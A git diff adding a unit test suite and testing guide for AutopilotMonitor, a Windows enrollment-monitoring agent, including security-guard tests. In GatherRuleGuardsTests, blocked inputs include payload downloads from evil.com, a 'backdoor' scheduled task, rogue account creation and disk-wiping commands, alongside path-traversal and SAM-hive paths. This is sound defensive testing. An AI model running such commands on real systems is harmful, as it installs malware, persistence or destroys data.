diff --git a/AutopilotMonitor.sln b/AutopilotMonitor.sln
index dbd758be..1ddc606d 100644
--- a/AutopilotMonitor.sln
+++ b/AutopilotMonitor.sln
@@ -23,6 +23,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions.
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.SummaryDialog", "src\Agent\AutopilotMonitor.SummaryDialog\AutopilotMonitor.SummaryDialog.csproj", "{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}"
EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core.Tests", "src\Agent\AutopilotMonitor.Agent.Core.Tests\AutopilotMonitor.Agent.Core.Tests.csproj", "{89BDAC07-A666-4708-A9D3-A956A89A4E4D}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@@ -105,6 +107,18 @@ Global
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x64.Build.0 = Release|Any CPU
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.ActiveCfg = Release|Any CPU
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.Build.0 = Release|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.ActiveCfg = Debug|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.Build.0 = Debug|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.ActiveCfg = Debug|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.Build.0 = Debug|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.Build.0 = Release|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.ActiveCfg = Release|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.Build.0 = Release|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.ActiveCfg = Release|Any CPU
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
@@ -116,6 +130,7 @@ Global
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B} = {096B6098-F141-7114-B090-72D1899D8853}
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC} = {096B6098-F141-7114-B090-72D1899D8853}
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E} = {096B6098-F141-7114-B090-72D1899D8853}
+ {89BDAC07-A666-4708-A9D3-A956A89A4E4D} = {096B6098-F141-7114-B090-72D1899D8853}
{FE360695-3F2B-1049-3887-35FBB5135923} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682} = {FE360695-3F2B-1049-3887-35FBB5135923}
{E3E0A5D8-4899-4F41-9D5F-CB858EF9F091} = {FE360695-3F2B-1049-3887-35FBB5135923}
diff --git a/scripts/Bootstrap/Install-AutopilotMonitor.ps1 b/scripts/Bootstrap/Install-AutopilotMonitor.ps1
index f803d214..b369535d 100644
--- a/scripts/Bootstrap/Install-AutopilotMonitor.ps1
+++ b/scripts/Bootstrap/Install-AutopilotMonitor.ps1
@@ -38,6 +38,11 @@
PowerShell 5.1 (IME) reads scripts without BOM as ANSI, corrupting multi-byte chars.
.CHANGELOG
+ 2026-03-31 Replaced OS age + MDM pre-flight checks with multi-signal guard:
+ registry deployment marker, OOBE state, WMI/filesystem user profile
+ detection, and 12h bootstrap window. Fixes ghost sessions on hybrid
+ join pre-provisioned devices where Intune re-targets the bootstrap
+ script after self-destruct.
2026-03-30 Fixed non-ASCII characters (em-dashes, Unicode symbols) that broke
script parsing under PowerShell 5.1 / IME AgentExecutor
2026-03-29 Hardened integrity check: SHA-256 verification via version.json
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj b/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj
new file mode 100644
index 00000000..28fb9acb
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj
@@ -0,0 +1,23 @@
+
+
+
+ net48
+ latest
+ false
+
+
+
+
+
+
+ runtime; build; native; contentfiles; analyzers; buildtransitive
+ all
+
+
+
+
+
+
+
+
+
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs
new file mode 100644
index 00000000..28d56720
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs
@@ -0,0 +1,128 @@
+using AutopilotMonitor.Agent.Core.Monitoring.Collectors;
+using Xunit;
+
+namespace AutopilotMonitor.Agent.Core.Tests.Collectors
+{
+ ///
+ /// Tests user exclusion logic for desktop arrival detection.
+ /// Prevents: SYSTEM/service account explorer.exe triggering false desktop arrival,
+ /// real users being incorrectly filtered.
+ ///
+ public class DesktopArrivalDetectorTests
+ {
+ // -- System and service accounts must be excluded --
+
+ [Fact]
+ public void IsExcludedUser_System_True()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_DomainBackslashSystem_True()
+ {
+ // Domain prefix must be stripped before checking
+ Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\SYSTEM"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_LocalService_True()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("LOCAL SERVICE"));
+ Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\LOCAL SERVICE"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_NetworkService_True()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("NETWORK SERVICE"));
+ Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\NETWORK SERVICE"));
+ }
+
+ // -- DefaultUser* pattern (OOBE temp accounts) --
+
+ [Fact]
+ public void IsExcludedUser_DefaultUser0_True()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_DefaultUser1_True()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser1"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_DefaultUserAnyNumber_True()
+ {
+ // StartsWith("DefaultUser") should match any suffix
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser99"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_DefaultUser_CaseInsensitive()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("DEFAULTUSER0"));
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
+ }
+
+ // -- Real users must NOT be excluded --
+
+ [Fact]
+ public void IsExcludedUser_RealUser_False()
+ {
+ Assert.False(DesktopArrivalDetector.IsExcludedUser(@"CONTOSO\john.doe"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_LocalRealUser_False()
+ {
+ Assert.False(DesktopArrivalDetector.IsExcludedUser("johndoe"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_AzureAdUser_False()
+ {
+ Assert.False(DesktopArrivalDetector.IsExcludedUser(@"AzureAD\user@contoso.com"));
+ }
+
+ // -- Edge cases (fail-safe) --
+
+ [Fact]
+ public void IsExcludedUser_Null_True()
+ {
+ // Null/empty must be excluded (fail-safe — no user = not a real user)
+ Assert.True(DesktopArrivalDetector.IsExcludedUser(null));
+ }
+
+ [Fact]
+ public void IsExcludedUser_Empty_True()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser(""));
+ }
+
+ [Fact]
+ public void IsExcludedUser_SystemCaseInsensitive()
+ {
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("system"));
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("System"));
+ Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
+ }
+
+ [Fact]
+ public void IsExcludedUser_BackslashAtEnd_ExtractsEmpty()
+ {
+ // Trailing backslash: "DOMAIN\" → empty username after split
+ // Should be excluded (empty = fail-safe)
+ // Note: LastIndexOf finds \, substring after is empty
+ // But the code checks backslashIndex < fullUserName.Length - 1
+ // so "DOMAIN\" with backslash at last position would keep the full string
+ var result = DesktopArrivalDetector.IsExcludedUser(@"DOMAIN\");
+ // The method keeps "DOMAIN\" as the full name since backslash is at last position
+ // This won't match any excluded name, so it returns false (treated as unknown user)
+ // This is acceptable — WMI won't return "DOMAIN\" for a real process
+ Assert.False(result);
+ }
+ }
+}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs
new file mode 100644
index 00000000..111af940
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs
@@ -0,0 +1,130 @@
+using AutopilotMonitor.Agent.Core.Monitoring.Collectors;
+using Xunit;
+
+namespace AutopilotMonitor.Agent.Core.Tests.Collectors
+{
+ ///
+ /// Tests path validation for diagnostics log collection.
+ /// Prevents: path traversal, privacy leaks via C:\Users, SAM hive exfiltration.
+ ///
+ public class DiagnosticsPathGuardsTests
+ {
+ // -- Allowed paths --
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_AutopilotMonitorLogs_True()
+ {
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\ProgramData\AutopilotMonitor\Logs\agent.log");
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_ImeLogs_True()
+ {
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log");
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_WindowsPanther_True()
+ {
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\Windows\Panther\setupact.log");
+
+ Assert.True(result);
+ }
+
+ // -- Hard-blocked paths --
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_UsersDir_AlwaysBlocked()
+ {
+ // Must be blocked even in unrestricted mode (privacy protection)
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\Users\admin\Documents\secret.docx", unrestrictedMode: true);
+
+ Assert.False(result);
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_SystemConfig_Blocked()
+ {
+ // SAM, SECURITY, SYSTEM hives must always be blocked
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\Windows\System32\config\SAM", unrestrictedMode: true);
+
+ Assert.False(result);
+ }
+
+ // -- Path traversal --
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_Traversal_Blocked()
+ {
+ // Traversal via ".." after allowed prefix must be caught by GetFullPath normalization
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\ProgramData\AutopilotMonitor\..\..\Users\admin\file.txt");
+
+ Assert.False(result);
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_EnvironmentVariable_Expanded()
+ {
+ // %ProgramData% should expand to C:\ProgramData
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"%ProgramData%\AutopilotMonitor\Logs\agent.log");
+
+ Assert.True(result);
+ }
+
+ // -- Edge cases --
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_WhitespaceOnly_Blocked()
+ {
+ Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(" "));
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_NullOrEmpty_Blocked()
+ {
+ Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(null));
+ Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(""));
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_WildcardInFilename_Allowed()
+ {
+ // Wildcards in the last path segment should be supported
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\ProgramData\AutopilotMonitor\Logs\*.log");
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_UnrestrictedMode_AllowsNonBlocked()
+ {
+ // In unrestricted mode, non-hard-blocked paths should be allowed
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\SomeRandomDir\logs\file.txt", unrestrictedMode: true);
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsDiagnosticsPathAllowed_UnallowedDir_Blocked()
+ {
+ // Random directory not in allowlist should be blocked in normal mode
+ var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
+ @"C:\SomeRandomDir\logs\file.txt");
+
+ Assert.False(result);
+ }
+ }
+}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs
new file mode 100644
index 00000000..6fe3f20b
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs
@@ -0,0 +1,203 @@
+using AutopilotMonitor.Agent.Core.Monitoring.Collectors;
+using Xunit;
+
+namespace AutopilotMonitor.Agent.Core.Tests.Collectors
+{
+ ///
+ /// Tests security guards for remote gather rules.
+ /// Prevents: path traversal, prefix spoofing, command injection, privacy leaks.
+ /// Critical: segment-bounded matching ensures SOFTWARE\MicrosoftEvil doesn't match SOFTWARE\Microsoft.
+ ///
+ public class GatherRuleGuardsTests
+ {
+ // -- Registry path guards --
+
+ [Fact]
+ public void IsRegistryPathAllowed_KnownPrefix_True()
+ {
+ // SOFTWARE\Microsoft\Enrollments is a known allowed prefix from guardrails.json
+ var result = GatherRuleGuards.IsRegistryPathAllowed(
+ @"SOFTWARE\Microsoft\Enrollments\{some-guid}\FirstSync");
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsRegistryPathAllowed_ExactPrefixMatch_True()
+ {
+ // Exact match on prefix (no trailing segment)
+ var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\Enrollments");
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsRegistryPathAllowed_SegmentBounded_BlocksSpoofing()
+ {
+ // SOFTWARE\Microsoft\EnrollmentsEvil must NOT match SOFTWARE\Microsoft\Enrollments
+ // because the character after "Enrollments" is 'E', not '\'
+ var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\EnrollmentsEvil\Backdoor");
+
+ Assert.False(result);
+ }
+
+ [Fact]
+ public void IsRegistryPathAllowed_UnrestrictedMode_AllAllowed()
+ {
+ var result = GatherRuleGuards.IsRegistryPathAllowed(
+ @"SOME\RANDOM\PATH", unrestrictedMode: true);
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsRegistryPathAllowed_EmptyPath_False()
+ {
+ Assert.False(GatherRuleGuards.IsRegistryPathAllowed(null));
+ Assert.False(GatherRuleGuards.IsRegistryPathAllowed(""));
+ }
+
+ // -- File path guards --
+
+ [Fact]
+ public void IsFilePathAllowed_DirectoryTraversal_Blocked()
+ {
+ // Path normalization via GetFullPath should catch ".." traversal
+ var result = GatherRuleGuards.IsFilePathAllowed(
+ @"C:\ProgramData\Microsoft\IntuneManagementExtension\..\..\..\..\Users\admin\secrets.txt");
+
+ Assert.False(result);
+ }
+
+ [Fact]
+ public void IsFilePathAllowed_UsersDir_AlwaysBlocked()
+ {
+ // C:\Users must be blocked even in unrestricted mode (privacy protection)
+ var result = GatherRuleGuards.IsFilePathAllowed(
+ @"C:\Users\admin\Documents\file.txt", unrestrictedMode: true);
+
+ Assert.False(result);
+ }
+
+ [Fact]
+ public void IsFilePathAllowed_SystemConfig_AlwaysBlocked()
+ {
+ // SAM/SECURITY hives must always be blocked
+ var result = GatherRuleGuards.IsFilePathAllowed(
+ @"C:\Windows\System32\config\SAM", unrestrictedMode: true);
+
+ Assert.False(result);
+ }
+
+ [Fact]
+ public void IsFilePathAllowed_EmptyPath_False()
+ {
+ Assert.False(GatherRuleGuards.IsFilePathAllowed(null));
+ Assert.False(GatherRuleGuards.IsFilePathAllowed(""));
+ }
+
+ // -- Command guards --
+
+ [Fact]
+ public void IsCommandAllowed_HardBlocked_EvenUnrestricted()
+ {
+ // Download commands must be blocked regardless of unrestricted mode
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "Invoke-WebRequest http://evil.com/payload.exe", unrestrictedMode: true));
+
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "Invoke-RestMethod http://evil.com/api", unrestrictedMode: true));
+
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "certutil -urlcache -split -f http://evil.com/payload.exe", unrestrictedMode: true));
+ }
+
+ [Fact]
+ public void IsCommandAllowed_PersistenceMechanisms_Blocked()
+ {
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "schtasks /create /tn backdoor /tr evil.exe", unrestrictedMode: true));
+
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "Register-ScheduledTask -TaskName backdoor", unrestrictedMode: true));
+ }
+
+ [Fact]
+ public void IsCommandAllowed_UserManipulation_Blocked()
+ {
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "New-LocalUser -Name hacker -NoPassword", unrestrictedMode: true));
+
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "net user hacker password123 /add", unrestrictedMode: true));
+ }
+
+ [Fact]
+ public void IsCommandAllowed_MaxLength_Blocked()
+ {
+ var longCommand = new string('A', 2001);
+
+ Assert.False(GatherRuleGuards.IsCommandAllowed(longCommand, unrestrictedMode: true));
+ }
+
+ [Fact]
+ public void IsCommandAllowed_ExactMaxLength_Allowed()
+ {
+ // Exactly 2000 chars should pass the length check (blocked by allowlist, but not by length)
+ var exactCommand = new string('A', 2000);
+
+ // Won't be in allowlist, but should NOT be blocked by length guard
+ // In unrestricted mode, should be allowed (passes both length and hard-block checks)
+ Assert.True(GatherRuleGuards.IsCommandAllowed(exactCommand, unrestrictedMode: true));
+ }
+
+ [Fact]
+ public void IsCommandAllowed_EmptyCommand_False()
+ {
+ Assert.False(GatherRuleGuards.IsCommandAllowed(null));
+ Assert.False(GatherRuleGuards.IsCommandAllowed(""));
+ }
+
+ [Fact]
+ public void IsCommandAllowed_DestructiveOps_Blocked()
+ {
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "Remove-Item -Recurse C:\\ImportantData", unrestrictedMode: true));
+
+ Assert.False(GatherRuleGuards.IsCommandAllowed(
+ "Format-Volume -DriveLetter C", unrestrictedMode: true));
+ }
+
+ // -- WMI query guards --
+
+ [Fact]
+ public void IsWmiQueryAllowed_WhitespaceBoundary()
+ {
+ // "Win32_OperatingSystemXXX" must NOT match "SELECT * FROM Win32_OperatingSystem"
+ // because after the class name there must be whitespace or end of string
+ var allowed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystem");
+ var spoofed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystemXXX");
+
+ // The allowed query should be allowed if it's in the guardrails
+ // The spoofed query must NOT be allowed (boundary check)
+ if (allowed) // Only test spoofing if the base query is allowed
+ Assert.False(spoofed);
+ }
+
+ [Fact]
+ public void IsWmiQueryAllowed_UnrestrictedMode_AllAllowed()
+ {
+ var result = GatherRuleGuards.IsWmiQueryAllowed(
+ "SELECT * FROM SomeRandomClass", unrestrictedMode: true);
+
+ Assert.True(result);
+ }
+
+ [Fact]
+ public void IsWmiQueryAllowed_EmptyQuery_False()
+ {
+ Assert.False(GatherRuleGuards.IsWmiQueryAllowed(null));
+ Assert.False(GatherRuleGuards.IsWmiQueryAllowed(""));
+ }
+ }
+}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs
new file mode 100644
index 00000000..14c8f99e
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Helpers/TestLogger.cs
@@ -0,0 +1,20 @@
+using System;
+using System.IO;
+using AutopilotMonitor.Agent.Core.Logging;
+
+namespace AutopilotMonitor.Agent.Core.Tests.Helpers
+{
+ ///
+ /// Minimal AgentLogger for test use. Writes to a temp directory that is auto-cleaned.
+ ///
+ internal static class TestLogger
+ {
+ private static readonly Lazy _instance = new Lazy(() =>
+ {
+ var dir = Path.Combine(Path.GetTempPath(), "autopilot-test-logs-" + Guid.NewGuid().ToString("N"));
+ return new AgentLogger(dir);
+ });
+
+ public static AgentLogger Instance => _instance.Value;
+ }
+}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/TESTING.md b/src/Agent/AutopilotMonitor.Agent.Core.Tests/TESTING.md
new file mode 100644
index 00000000..4a30217e
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/TESTING.md
@@ -0,0 +1,95 @@
+# Agent Unit Tests
+
+## Overview
+
+This test suite protects the Autopilot Monitor Agent against regressions in the enrollment state machine, security guards, log parsing, and crash recovery. The agent runs on real enrollment devices where debugging is difficult — these tests catch bugs before deployment.
+
+**Framework:** xUnit 2.9.2 | **Target:** .NET Framework 4.8 | **Mocking:** None (pure logic tests with callbacks)
+
+## Risk Matrix
+
+| Risk Category | Concrete Bug | Test Suite | Impact |
+|---|---|---|---|
+| **Double enrollment events** | Two `enrollment_complete` = corrupted session data | CompletionTests | Session data corruption in backend |
+| **Hybrid Join false-completion** | ESP exit during mid-enrollment reboot triggers premature completion | CompletionTests (Reboot Gate) | Agent self-destructs before enrollment finishes |
+| **ESP resumption missed** | After hybrid join reboot: Hello state not reset, stale timers fire | EventHandlerTests | Wrong completion signals |
+| **Phase bleed** | Device-phase apps appear in AccountSetup timeline | AppPackageStateListTests | Incorrect enrollment timeline |
+| **Security bypass** | Path traversal in gather rules or diagnostics collection | GatherRuleGuardsTests, DiagnosticsPathGuardsTests | Data exfiltration from device |
+| **Wrong device-only classification** | 3-boolean decision tree misclassifies deployments | CompletionTests | Thousands of deployments affected |
+| **Premature completion** | Desktop signal triggers completion while ESP is still active | CompletionTests (ESP Gate) | Enrollment fails silently |
+| **Endless enrollment wait** | Hello not configured but agent waits indefinitely | CompletionTests | Zombie agent until 6h timeout |
+| **Log parsing crash** | Unexpected date format in IME log | CmTraceLogParserTests | Agent stops processing events |
+| **State loss after crash** | Hybrid join flag, signal timestamps lost on restart | PersistenceTests | Duplicate events, wrong completion path |
+| **Prefix spoofing** | `SOFTWARE\MicrosoftEvil` matches `SOFTWARE\Microsoft` prefix | GatherRuleGuardsTests | Unauthorized registry access |
+| **Desktop false-positive** | SYSTEM account explorer.exe triggers desktop arrival | DesktopArrivalDetectorTests | Premature enrollment completion |
+
+## Test Suites
+
+### AppPackageStateTests
+
+**File:** `Tracking/AppPackageStateTests.cs`
+**Source:** `Monitoring/Tracking/AppPackageState.cs`
+
+Tests app installation state transition guards. Prevents illegal state downgrades, broken auto-skip logic for inverse-detection apps, and incorrect upgrade-only protection from Win32AppState simplification.
+
+### AppPackageStateListTests
+
+**File:** `Tracking/AppPackageStateListTests.cs`
+**Source:** `Monitoring/Tracking/AppPackageStateList.cs`
+
+Tests phase isolation (ignore list), dependency cascade (Error/Postponed propagation), circular dependency protection, and completion detection including auto-skip of untouched dependency-only packages.
+
+### CmTraceLogParserTests
+
+**File:** `Tracking/CmTraceLogParserTests.cs`
+**Source:** `Monitoring/Tracking/CmTraceLogParser.cs`
+
+Tests CMTrace log format parsing used for IME log files. Covers single-digit months (M-d-yyyy), fractional second truncation (>7 digits), and graceful handling of non-CMTrace lines.
+
+### LogFilePositionTrackerTests
+
+**File:** `Tracking/LogFilePositionTrackerTests.cs`
+**Source:** `Monitoring/Tracking/LogFilePositionTracker.cs`
+
+Tests incremental log file reading: position tracking, log rotation detection (file shrinks), and crash recovery via position restoration.
+
+### GatherRuleGuardsTests
+
+**File:** `Collectors/GatherRuleGuardsTests.cs`
+**Source:** `Monitoring/Collectors/GatherRuleGuards.cs`
+
+Tests security guards for remote gather rules. Critical: segment-bounded matching prevents prefix spoofing, C:\Users always blocked (even unrestricted), hard-blocked command patterns (Invoke-WebRequest etc.) apply in all modes, max command length enforced.
+
+### DiagnosticsPathGuardsTests
+
+**File:** `Collectors/DiagnosticsPathGuardsTests.cs`
+**Source:** `Monitoring/Collectors/DiagnosticsPathGuards.cs`
+
+Tests path validation for configurable diagnostics collection. Path traversal prevention via GetFullPath normalization, C:\Users hard block, System32\config hard block, environment variable expansion.
+
+### DesktopArrivalDetectorTests
+
+**File:** `Collectors/DesktopArrivalDetectorTests.cs`
+**Source:** `Monitoring/Collectors/DesktopArrivalDetector.cs`
+
+Tests user exclusion logic. SYSTEM, LOCAL SERVICE, DefaultUser*, domain-prefixed accounts must be excluded. Real users (CONTOSO\john.doe) must not be filtered. Null/empty = excluded (fail-safe).
+
+### EnrollmentStatePersistenceTests
+
+**File:** `Tracking/EnrollmentStatePersistenceTests.cs`
+**Source:** `Monitoring/Tracking/EnrollmentStatePersistence.cs`
+
+Tests state serialization round-trip including all fields (IsHybridJoin, signal timestamps, SignalsSeen list). Verifies graceful handling of missing files and corrupt JSON.
+
+## Architecture Notes
+
+- **No mocking framework needed** — the agent uses `Action` callbacks, making it easy to capture emitted events in tests
+- **`InternalsVisibleTo`** allows access to `internal` members like `DesktopArrivalDetector.IsExcludedUser`
+- **State machine tests** use `EnrollmentStatePersistence` with temp directories to pre-load state, then trigger completion paths
+- All tests are **deterministic** (no timing, no OS calls) and **fast** (pure logic, minimal I/O)
+
+## Running Tests
+
+```bash
+dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/ --nologo -v quiet
+```
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateListTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateListTests.cs
new file mode 100644
index 00000000..a1b882f2
--- /dev/null
+++ b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateListTests.cs
@@ -0,0 +1,277 @@
+using System.Collections.Generic;
+using System.Linq;
+using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
+using Xunit;
+
+namespace AutopilotMonitor.Agent.Core.Tests.Tracking
+{
+ ///
+ /// Tests phase isolation (ignore list), dependency cascading, completion detection,
+ /// and circular dependency protection.
+ /// Prevents: phase bleed, broken dependency chains, infinite recursion.
+ ///
+ public class AppPackageStateListTests
+ {
+ private static AppPackageStateList CreateList()
+ => new AppPackageStateList(null); // null logger is fine for tests
+
+ // -- Ignore list (phase isolation) --
+
+ [Fact]
+ public void GetPackage_InIgnoreList_ReturnsNull()
+ {
+ var list = CreateList();
+ list.Add(new AppPackageState("app-001", 0));
+ list.IgnoreList.Add("app-001");
+
+ var result = list.GetPackage("app-001");
+
+ Assert.Null(result);
+ }
+
+ [Fact]
+ public void IgnoreList_CaseInsensitive()
+ {
+ var list = CreateList();
+ list.Add(new AppPackageState("abc-123-DEF", 0));
+ list.IgnoreList.Add("abc-123-def");
+
+ var result = list.GetPackage("ABC-123-DEF");
+
+ Assert.Null(result);
+ }
+
+ [Fact]
+ public void GetPackage_NotInIgnoreList_ReturnsPackage()
+ {
+ var list = CreateList();
+ list.Add(new AppPackageState("app-001", 0));
+
+ var result = list.GetPackage("app-001");
+
+ Assert.NotNull(result);
+ Assert.Equal("app-001", result.Id);
+ }
+
+ [Fact]
+ public void GetPackage_CreateIfNotFound_CreatesNew()
+ {
+ var list = CreateList();
+
+ var result = list.GetPackage("new-app", createIfNotFound: true);
+
+ Assert.NotNull(result);
+ Assert.Equal("new-app", result.Id);
+ Assert.Single(list);
+ }
+
+ [Fact]
+ public void GetPackage_NullId_ReturnsNull()
+ {
+ var list = CreateList();
+
+ Assert.Null(list.GetPackage(null));
+ Assert.Null(list.GetPackage(""));
+ }
+
+ // -- Dependency cascading --
+
+ [Fact]
+ public void UpdateState_ErrorCascadesToDependents()
+ {
+ var list = CreateList();
+ var appA = new AppPackageState("app-a", 0);
+ appA.UpdateDependsOn(new HashSet { "app-b" });
+ var appB = new AppPackageState("app-b", 1);
+ list.Add(appA);
+ list.Add(appB);
+
+ list.UpdateState("app-b", AppInstallationState.Error);
+
+ Assert.Equal(AppInstallationState.Error, appB.InstallationState);
+ Assert.Equal(AppInstallationState.Error, appA.InstallationState);
+ }
+
+ [Fact]
+ public void UpdateState_PostponedCascadesToDependents()
+ {
+ var list = CreateList();
+ var appA = new AppPackageState("app-a", 0);
